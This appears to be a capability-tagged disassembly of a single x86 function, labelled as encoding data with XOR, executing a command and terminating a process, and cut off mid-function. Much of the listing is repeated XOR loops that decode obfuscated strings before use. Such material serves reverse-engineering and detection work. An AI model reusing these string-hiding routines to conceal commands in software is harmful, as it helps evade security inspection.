Function at 0x100c9060
Capabilities:
Encode data using xor
Execute command
Terminate process

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x102c9b7e
mov eax, dword fs:[0]
push eax
push ecx
push ebx
sub esp, 0x180
mov eax, dword [0x1066bbc0]
xor eax, ebp
mov dword [ebp - 0x24], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
lea ecx, [ebp - 0xfc]
mov dword [ebp - 4], 0
call fcn.100c6240
push eax
mov ecx, 0x106cf09c
call fcn.10096c00
mov ecx, dword [ebp - 0xe8]
cmp ecx, 0xf
jbe 0x100c90fe
mov edx, dword [ebp - 0xfc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100c90f4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x100c90f4
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.102c1b57
add esp, 8
mov byte [ebp - 4], 1
lea ecx, [ebp - 0xa0]
push 0
mov byte [ebp - 0xa8], 0
call fcn.100efca0
mov byte [ebp - 4], 2
cmp byte [0x10650f6f], 0
mov eax, dword [0x10650f6c]
mov edi, dword [0x106d5adc]
mov dword [ebp - 0xcc], eax
je 0x100c920d
xor edx, edx
mov dword [ebp - 0xc8], edx
cmp edi, 2
jl 0x100c91d0
movaps xmm3, xmmword [0x106544f0]
movaps xmm2, xmm3
movaps xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x10654a40]
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x10654a40]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
psrad xmm2, 5
movaps xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x10654530]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x106545f0]
packuswb xmm1, xmm1
paddb xmm1, xmmword [0x10654620]
movd xmm0, eax
xorps xmm1, xmm0
movd dword [ebp - 0xcc], xmm1
jmp 0x100c920d
mov eax, 0xa0a0a0a1
imul edx
add edx, dword [ebp - 0xc8]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0xc8]
movsx eax, al
mov cl, dl
imul eax, eax, 0x33
sub cl, al
add cl, 0x30
xor byte [ebp + edx - 0xcc], cl
inc edx
mov dword [ebp - 0xc8], edx
cmp edx, 4
jl 0x100c91d0
xorps xmm0, xmm0
mov dword [ebp - 0x40], 0
lea ecx, [ebp - 0xcc]
mov dword [ebp - 0x3c], 0
movups xmmword [ebp - 0x50], xmm0
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100c9230
sub ecx, edx
lea eax, [ebp - 0xcc]
push ecx
push eax
lea ecx, [ebp - 0x50]
call fcn.10053700
mov byte [ebp - 4], 3
lea edx, [ebp - 0x50]
cmp dword [ebp - 0x3c], 0xf
xorps xmm0, xmm0
movups xmmword [ebp - 0x98], xmm0
cmova edx, dword [ebp - 0x50]
mov ecx, edx
mov dword [ebp - 0x88], 0
mov dword [ebp - 0x84], 0
lea esi, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100c9280
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x98]
call fcn.10053700
mov byte [ebp - 4], 5
mov ecx, dword [ebp - 0x3c]
cmp ecx, 0xf
jbe 0x100c92ce
mov edx, dword [ebp - 0x50]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100c92c4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100caa27
push ecx
push edx
call fcn.102c1b57
add esp, 8
cmp byte [0x10650f57], 0
movq xmm0, qword [str.vPP__]
mov eax, dword [str.YZQ_tSUfGPDuJ_PlRWQ4A]
movq qword [ebp - 0xd8], xmm0
mov dword [ebp - 0xd0], eax
je 0x100c944d
xor edx, edx
mov dword [ebp - 0xcc], edx
cmp edi, 2
jl 0x100c9410
movaps xmm2, xmmword [0x106544f0]
mov edx, 8
movaps xmm3, xmmword [0x10654a40]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm1, xmm3
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
mov dword [ebp - 0xcc], edx
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x10654530]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x10654500]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x106545f0]
movd xmm0, dword [str.vPP__]
packuswb xmm1, xmm1
paddb xmm1, xmmword [0x10654620]
xorps xmm1, xmm0
movaps xmm0, xmm2
movd dword [ebp - 0xd8], xmm1
movaps xmm1, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm1, xmm3
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x10654530]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x106545f0]
movd xmm0, dword [ebp - 0xd4]
packuswb xmm1, xmm1
paddb xmm1, xmmword [0x10654620]
xorps xmm1, xmm0
movd dword [ebp - 0xd4], xmm1
nop dword [eax]
mov eax, 0xa0a0a0a1
imul edx
add edx, dword [ebp - 0xcc]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0xcc]
movsx eax, al
mov cl, dl
imul eax, eax, 0x33
sub cl, al
add cl, 0x30
xor byte [ebp + edx - 0xd8], cl
inc edx
mov dword [ebp - 0xcc], edx
cmp edx, 0xc
jl 0x100c9410
xorps xmm0, xmm0
mov dword [ebp - 0x40], 0
lea ecx, [ebp - 0xd8]
mov dword [ebp - 0x3c], 0
movups xmmword [ebp - 0x50], xmm0
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100c9470
sub ecx, edx
lea eax, [ebp - 0xd8]
push ecx
push eax
lea ecx, [ebp - 0x50]
call fcn.10053700
mov byte [ebp - 4], 6
lea edx, [ebp - 0x50]
cmp dword [ebp - 0x3c], 0xf
xorps xmm0, xmm0
movups xmmword [ebp - 0x80], xmm0
cmova edx, dword [ebp - 0x50]
mov ecx, edx
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x6c], 0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100c94b2
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x80]
call fcn.10053700
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0x3c]
cmp ecx, 0xf
jbe 0x100c94fd
mov edx, dword [ebp - 0x50]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100c94f3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100caa27
push ecx
push edx
call fcn.102c1b57
add esp, 8
movups xmm0, xmmword [0x10650240]
mov al, byte [0x10650288]
xor edx, edx
mov byte [ebp - 0x138], al
mov dword [ebp - 0xcc], edx
movups xmmword [ebp - 0x180], xmm0
movups xmm0, xmmword [0x10650250]
movups xmmword [ebp - 0x170], xmm0
movups xmm0, xmmword [0x10650260]
movups xmmword [ebp - 0x160], xmm0
movups xmm0, xmmword [0x10650270]
movups xmmword [ebp - 0x150], xmm0
movq xmm0, qword [0x10650280]
movq qword [ebp - 0x140], xmm0
cmp edi, 2
jl 0x100c96a0
movaps xmm0, xmmword [0x10654620]
lea esi, [ebp - 0x17c]
movaps xmm4, xmmword [0x106544f0]
movaps xmm3, xmmword [0x10654a40]
movaps xmm5, xmmword [0x10654530]
movaps xmmword [ebp - 0x50], xmm0
mov ecx, dword [ebp - 0x50]
nop word [eax + eax]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x106545f0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x180]
xorps xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + edx - 0x180], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x106545f0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [edx + esi]
xorps xmm1, xmm0
movd dword [edx + esi], xmm1
add edx, 8
mov dword [ebp - 0xcc], edx
cmp edx, 0x48
jl 0x100c9590
cmp edx, 0x49
jge 0x100c96dd
nop
mov eax, 0xa0a0a0a1
imul edx
add edx, dword [ebp - 0xcc]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0xcc]
movsx eax, al
mov cl, dl
imul eax, eax, 0x33
sub cl, al
add cl, 0x30
xor byte [ebp + edx - 0x180], cl
inc edx
mov dword [ebp - 0xcc], edx
cmp edx, 0x49
jl 0x100c96a0
xorps xmm0, xmm0
mov dword [ebp - 0xd4], 0
lea ecx, [ebp - 0x180]
mov dword [ebp - 0xd0], 0
movups xmmword [ebp - 0xe4], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100c9704
sub ecx, edx
lea eax, [ebp - 0x180]
push ecx
push eax
lea ecx, [ebp - 0xe4]
call fcn.10053700
mov byte [ebp - 4], 9
lea edx, [ebp - 0xe4]
cmp dword [ebp - 0xd0], 0xf
xorps xmm0, xmm0
movups xmmword [ebp - 0x68], xmm0
cmova edx, dword [ebp - 0xe4]
mov ecx, edx
mov dword [ebp - 0x58], 0
mov dword [ebp - 0x54], 0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100c9752
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x68]
call fcn.10053700
mov byte [ebp - 4], 0xb
mov ecx, dword [ebp - 0xd0]
cmp ecx, 0xf
jbe 0x100c97a3
mov edx, dword [ebp - 0xe4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100c9799
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100caa27
push ecx
push edx
call fcn.102c1b57
add esp, 8
sub esp, 0x18
mov byte [ebp - 4], 0xc
lea eax, [ebp - 0x68]
mov dword [ebp - 0xc8], esp
mov ecx, esp
push eax
call fcn.10052460
sub esp, 0x18
mov byte [ebp - 4], 0xd
lea eax, [ebp - 0x80]
mov dword [ebp - 0xcc], esp
mov ecx, esp
push eax
call fcn.10052460
sub esp, 0x18
mov byte [ebp - 4], 0xe
lea eax, [ebp - 0x98]
mov dword [ebp - 0x18c], esp
mov ecx, esp
push eax
call fcn.10052460
sub esp, 0x18
mov byte [ebp - 4], 0xf
mov ecx, esp
push 0x106cf09c
call fcn.10052460
lea ecx, [ebp - 0xc0]
mov byte [ebp - 4], 0xc
call fcn.100c6440
add esp, 0x60
push 0
push 1
sub esp, 0x28
mov byte [ebp - 4], 0x10
mov eax, esp
lea edx, [ebp - 0xc0]
lea ecx, [ebp - 0x48]
mov dword [eax + 0x24], 0
call fcn.100f0550
add esp, 0x30
mov byte [ebp - 4], 0x11
xor edx, edx
mov ax, word [0x10650c14]
movq xmm0, qword [0x10650c0c]
mov word [ebp - 0xd0], ax
mov al, byte [0x10650c16]
movq qword [ebp - 0xd8], xmm0
mov byte [ebp - 0xce], al
mov dword [ebp - 0xc8], edx
nop dword [eax]
mov eax, 0xa0a0a0a1
mul edx
shr edx, 5
movsx eax, dl
mov edx, dword [ebp - 0xc8]
mov cl, dl
imul eax, eax, 0x33
sub cl, al
add cl, 0x30
xor byte [ebp + edx - 0xd8], cl
inc edx
mov dword [ebp - 0xc8], edx
cmp edx, 0xb
jl 0x100c9870
xorps xmm0, xmm0
mov dword [ebp - 0x104], 0
lea ecx, [ebp - 0xd8]
mov dword [ebp - 0x100], 0
movups xmmword [ebp - 0x114], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100c98c7
sub ecx, edx
lea eax, [ebp - 0xd8]
push ecx
push eax
lea ecx, [ebp - 0x114]
call fcn.10053700
mov byte [ebp - 4], 0x12
lea eax, [ebp - 0x114]
cmp dword [ebp - 0x100], 0xf
lea ecx, [ebp - 0x48]
cmova eax, dword [ebp - 0x114]
push eax
call fcn.100f0670
mov ecx, eax
call fcn.100f07b0
mov byte [ebp - 4], 0x11
mov ecx, dword [ebp - 0x100]
mov byte [ebp - 0xc1], al
cmp ecx, 0xf
jbe 0x100c9955
mov edx, dword [ebp - 0x114]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100c9945
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100ca98b
push ecx
push edx
call fcn.102c1b57
mov al, byte [ebp - 0xc1]
add esp, 8
test al, al
je 0x100cabc2
cmp byte [0x1065023b], 0
movq xmm0, qword [str.cP_VbPDDQVT_]
mov eax, dword [0x10650238]
movq qword [ebp - 0xd8], xmm0
mov dword [ebp - 0xd0], eax
je 0x100c9ade
xor edx, edx
mov dword [ebp - 0xcc], edx
cmp edi, 2
jl 0x100c9aa1
movaps xmm2, xmmword [0x106544f0]
mov edx, 8
movaps xmm4, xmmword [0x10654a40]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
mov eax, dword [0x10654620]
psrad xmm1, 5
mov dword [ebp - 0xcc], edx
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x10654530]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x10654500]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x106545f0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.cP_VbPDDQVT_]
xorps xmm1, xmm0
movaps xmm0, xmm2
movd dword [ebp - 0xd8], xmm1
movaps xmm1, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x10654530]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x106545f0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [ebp - 0xd4]
xorps xmm1, xmm0
movd dword [ebp - 0xd4], xmm1
mov eax, 0xa0a0a0a1
imul edx
add edx, dword [ebp - 0xcc]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0xcc]
movsx eax, al
mov cl, dl
imul eax, eax, 0x33
sub cl, al
add cl, 0x30
xor byte [ebp + edx - 0xd8], cl
inc edx
mov dword [ebp - 0xcc], edx
cmp edx, 0xc
jl 0x100c9aa1
xorps xmm0, xmm0
mov dword [ebp - 0x104], 0
lea ecx, [ebp - 0xd8]
mov dword [ebp - 0x100], 0
movups xmmword [ebp - 0x114], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100c9b05
sub ecx, edx
lea eax, [ebp - 0xd8]
push ecx
push eax
lea ecx, [ebp - 0x114]
call fcn.10053700
mov byte [ebp - 4], 0x13
lea eax, [ebp - 0x114]
cmp dword [ebp - 0x100], 0xf
lea ecx, [ebp - 0x48]
cmova eax, dword [ebp - 0x114]
push eax
call fcn.100f0670
mov ecx, eax
call fcn.100f07b0
mov byte [ebp - 4], 0x11
mov ecx, dword [ebp - 0x100]
mov byte [ebp - 0xc1], al
cmp ecx, 0xf
jbe 0x100c9b93
mov edx, dword [ebp - 0x114]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100c9b83
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100ca98b
push ecx
push edx
call fcn.102c1b57
mov al, byte [ebp - 0xc1]
add esp, 8
test al, al
je 0x100ca2f0
mov eax, dword [str.VP_Q5]
mov dword [ebp - 0xd4], eax
mov ax, word [0x10650a10]
mov word [ebp - 0xd0], ax
test ah, ah
je 0x100c9bf0
xor edx, edx
mov dword [ebp - 0xc8], edx
nop
mov eax, 0xa0a0a0a1
mul edx
shr edx, 5
movsx eax, dl
mov edx, dword [ebp - 0xc8]
mov cl, dl
imul eax, eax, 0x33
sub cl, al
add cl, 0x30
xor byte [ebp + edx - 0xd4], cl
inc edx
mov dword [ebp - 0xc8], edx
cmp edx, 6
jl 0x100c9bc0
xorps xmm0, xmm0
mov dword [ebp - 0xec], 0
lea ecx, [ebp - 0xd4]
mov dword [ebp - 0xe8], 0
movups xmmword [ebp - 0xfc], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100c9c17
sub ecx, edx
lea eax, [ebp - 0xd4]
push ecx
push eax
lea ecx, [ebp - 0xfc]
call fcn.10053700
mov byte [ebp - 4], 0x14
lea esi, [ebp - 0xfc]
cmp dword [ebp - 0xe8], 0xf
mov eax, dword [0x10650604]
mov dword [ebp - 0xd4], eax
mov ax, word [0x10650608]
mov word [ebp - 0xd0], ax
mov al, byte [0x1065060a]
mov byte [ebp - 0xce], al
jbe 0x100c9c6f
mov esi, dword [ebp - 0xfc]
xor edx, edx
mov dword [ebp - 0xc8], edx
nop word [eax + eax]
mov eax, 0xa0a0a0a1
mul edx
shr edx, 5
movsx eax, dl
mov edx, dword [ebp - 0xc8]
mov cl, dl
imul eax, eax, 0x33
sub cl, al
add cl, 0x30
xor byte [ebp + edx - 0xd4], cl
inc edx
mov dword [ebp - 0xc8], edx
cmp edx, 7
jl 0x100c9c80
xorps xmm0, xmm0
mov dword [ebp - 0x104], 0
lea ecx, [ebp - 0xd4]
mov dword [ebp - 0x100], 0
movups xmmword [ebp - 0x114], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100c9cd7
sub ecx, edx
lea eax, [ebp - 0xd4]
push ecx
push eax
lea ecx, [ebp - 0x114]
call fcn.10053700
mov byte [ebp - 4], 0x15
lea eax, [ebp - 0x114]
cmp dword [ebp - 0x100], 0xf
lea ecx, [ebp - 0x48]
cmova eax, dword [ebp - 0x114]
push eax
call fcn.100f0670
mov edx, esi
mov ecx, eax
call fcn.100f0840
mov byte [ebp - 4], 0x14
mov ecx, dword [ebp - 0x100]
mov byte [ebp - 0xc1], al
cmp ecx, 0xf
jbe 0x100c9d61
mov edx, dword [ebp - 0x114]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100c9d57
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100ca98b
push ecx
push edx
call fcn.102c1b57
add esp, 8
mov byte [ebp - 4], 0x11
mov ecx, dword [ebp - 0xe8]
cmp ecx, 0xf
jbe 0x100c9d9f
mov edx, dword [ebp - 0xfc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100c9d95
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100ca98b
push ecx
push edx
call fcn.102c1b57
add esp, 8
xor edx, edx
mov dword [ebp - 0xc8], edx
cmp byte [ebp - 0xc1], dl
je 0x100ca0d5
mov ax, word [0x10650cec]
mov word [ebp - 0xcc], ax
mov al, byte [0x10650cee]
mov byte [ebp - 0xca], al
nop dword [eax + eax]
mov eax, 0xa0a0a0a1
mul edx
shr edx, 5
movsx eax, dl
mov edx, dword [ebp - 0xc8]
mov cl, dl
imul eax, eax, 0x33
sub cl, al
add cl, 0x30
xor byte [ebp + edx - 0xcc], cl
inc edx
mov dword [ebp - 0xc8], edx
cmp edx, 3
jl 0x100c9dd0
xorps xmm0, xmm0
mov dword [ebp - 0xec], 0
lea ecx, [ebp - 0xcc]
mov dword [ebp - 0xe8], 0
movups xmmword [ebp - 0xfc], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100c9e27
sub ecx, edx
lea eax, [ebp - 0xcc]
push ecx
push eax
lea ecx, [ebp - 0xfc]
call fcn.10053700
mov byte [ebp - 4], 0x16
lea eax, [ebp - 0xfc]
cmp dword [ebp - 0xe8], 0xf
lea ecx, [ebp - 0x48]
cmova eax, dword [ebp - 0xfc]
push eax
call fcn.100f0670
push eax
mov ecx, 0x106cf0b4
call fcn.100f5590
mov byte [ebp - 4], 0x11
mov ecx, dword [ebp - 0xe8]
cmp ecx, 0xf
jbe 0x100c9ead
mov edx, dword [ebp - 0xfc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100c9ea3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100ca98b
push ecx
push edx
call fcn.102c1b57
add esp, 8
cmp byte [0x1065124b], 0
mov ecx, dword [str.fT___ZX7Dqe]
mov esi, dword [0x10651248]
mov dword [ebp - 0xd4], ecx
mov dword [ebp - 0xd0], esi
je 0x100ca01d
xor edx, edx
mov dword [ebp - 0xc8], edx
cmp edi, 2
jl 0x100c9fe0
movaps xmm2, xmmword [0x106544f0]
movaps xmm4, xmmword [0x10654a40]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
mov eax, dword [0x10654620]
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x10654530]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x10654500]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x106545f0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, ecx
xorps xmm1, xmm0
movaps xmm0, xmm2
movd dword [ebp - 0xd4], xmm1
movaps xmm1, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x10654530]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x106545f0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, esi
xorps xmm1, xmm0
movd dword [ebp - 0xd0], xmm1
jmp 0x100ca01d
mov eax, 0xa0a0a0a1
imul edx
add edx, dword [ebp - 0xc8]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0xc8]
movsx eax, al
mov cl, dl
imul eax, eax, 0x33
sub cl, al
add cl, 0x30
xor byte [ebp + edx - 0xd4], cl
inc edx
mov dword [ebp - 0xc8], edx
cmp edx, 8
jl 0x100c9fe0
xorps xmm0, xmm0
mov dword [ebp - 0xec], 0
lea ecx, [ebp - 0xd4]
mov dword [ebp - 0xe8], 0
movups xmmword [ebp - 0xfc], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100ca044
sub ecx, edx
lea eax, [ebp - 0xd4]
push ecx
push eax
lea ecx, [ebp - 0xfc]
call fcn.10053700
mov byte [ebp - 4], 0x17
lea eax, [ebp - 0xfc]
cmp dword [ebp - 0xe8], 0xf
lea ecx, [ebp - 0x48]
cmova eax, dword [ebp - 0xfc]
push eax
call fcn.100f0670
push eax
mov ecx, 0x106cf0fc
call fcn.100f5590
mov ecx, dword [ebp - 0xe8]
cmp ecx, 0xf
jbe 0x100ca0c6
mov edx, dword [ebp - 0xfc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100ca0bc
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100ca98b
push ecx
push edx
call fcn.102c1b57
add esp, 8
mov dword [0x106cf094], 0x168
jmp 0x100ca957
mov eax, dword [str.DCGV4]
mov dword [ebp - 0xd4], eax
mov al, byte [0x106502a4]
mov byte [ebp - 0xd0], al
nop dword [eax + eax]
mov eax, 0xa0a0a0a1
mul edx
shr edx, 5
movsx eax, dl
mov edx, dword [ebp - 0xc8]
mov cl, dl
imul eax, eax, 0x33
sub cl, al
add cl, 0x30
xor byte [ebp + edx - 0xd4], cl
inc edx
mov dword [ebp - 0xc8], edx
cmp edx, 5
jl 0x100ca0f0
xorps xmm0, xmm0
mov dword [ebp - 0x104], 0
lea ecx, [ebp - 0xd4]
mov dword [ebp - 0x100], 0
movups xmmword [ebp - 0x114], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100ca147
sub ecx, edx
lea eax, [ebp - 0xd4]
push ecx
push eax
lea ecx, [ebp - 0x114]
call fcn.10053700
mov byte [ebp - 4], 0x18
lea esi, [ebp - 0x114]
cmp dword [ebp - 0x100], 0xf
mov eax, dword [0x10650604]
mov dword [ebp - 0xd4], eax
mov ax, word [0x10650608]
mov word [ebp - 0xd0], ax
mov al, byte [0x1065060a]
mov byte [ebp - 0xce], al
jbe 0x100ca19f
mov esi, dword [ebp - 0x114]
xor edx, edx
mov dword [ebp - 0xc8], edx
nop word [eax + eax]
mov eax, 0xa0a0a0a1
mul edx
shr edx, 5
movsx eax, dl
mov edx, dword [ebp - 0xc8]
mov cl, dl
imul eax, eax, 0x33
sub cl, al
add cl, 0x30
xor byte [ebp + edx - 0xd4], cl
inc edx
mov dword [ebp - 0xc8], edx
cmp edx, 7
jl 0x100ca1b0
xorps xmm0, xmm0
mov dword [ebp - 0xec], 0
lea ecx, [ebp - 0xd4]
mov dword [ebp - 0xe8], 0
movups xmmword [ebp - 0xfc], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100ca207
sub ecx, edx
lea eax, [ebp - 0xd4]
push ecx
push eax
lea ecx, [ebp - 0xfc]
call fcn.10053700
mov byte [ebp - 4], 0x19
lea eax, [ebp - 0xfc]
cmp dword [ebp - 0xe8], 0xf
lea ecx, [ebp - 0x48]
cmova eax, dword [ebp - 0xfc]
push eax
call fcn.100f0670
mov edx, esi
mov ecx, eax
call fcn.100f0840
mov byte [ebp - 4], 0x18
mov ecx, dword [ebp - 0xe8]
mov byte [ebp - 0xc1], al
cmp ecx, 0xf
jbe 0x100ca291
mov edx, dword [ebp - 0xfc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100ca287
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100ca98b
push ecx
push edx
call fcn.102c1b57
add esp, 8
mov byte [ebp - 4], 0x11
mov ecx, dword [ebp - 0x100]
cmp ecx, 0xf
jbe 0x100ca2cf
mov edx, dword [ebp - 0x114]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100ca2c5
